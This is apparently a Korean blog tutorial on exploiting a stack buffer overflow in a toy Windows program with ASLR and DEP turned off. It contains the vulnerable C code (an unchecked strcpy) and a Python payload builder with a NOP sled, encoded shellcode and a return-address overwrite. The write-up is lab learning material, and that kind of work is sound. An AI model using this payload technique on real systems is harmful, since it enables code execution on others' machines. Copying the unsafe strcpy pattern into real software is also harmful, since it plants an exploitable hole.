일단 ASLR을 끄고 DEP도 끈 상태에서 진행을 하겠다.
처음 해보는 windows exploit인데 나름 재밌게 진행했다.
일단 취약점 코드는 이런식이다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char* argv[]) {
char readbuf[2000] = {0,};
char printbuf[500] = {0,};
printf(" # text reader # \n");
if(argc!=2) {
printf(" Usage : reader.exe filename\n", argv[0]);
exit(1);
}
FILE *stream = fopen(argv[1], "r");
fgets(readbuf, 2000, stream);
strcpy(printbuf, readbuf);
printf("File Contents : %s\n", printbuf);
}
이런식으로 코드를 짜면 취약점이 생겨 보이죠?
이걸로 익스플로잇을 하면된다
linux exploit하는 거처럼 쓱싹 해버리면 된다.
import struct
print "[+] Create text file...."
NOP = "\x90"*40
SHELLCODE = "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a\x1c\x39\xbd"
#print len(SHELLCODE)
Dummy = "A"*(504 - len(NOP+SHELLCODE))
#payload = NOP + SHELLCODE + Dummy + struct.pack('<L',0x12fd50)
payload = NOP + SHELLCODE + Dummy + struct.pack('<L',0x42424242)
print payload
print len(payload)
f = open("buffer.txt", "w")
f.write(payload)
f.close()
print "[+] Done !!"
이거를 디버깅해보면
일단 EIP가 42424242로 바뀐걸 확인 할 수 있다..
ASLR이 꺼져있으니까 스택으로 EIP를 돌려서 쉘코드를 실행하면 된다.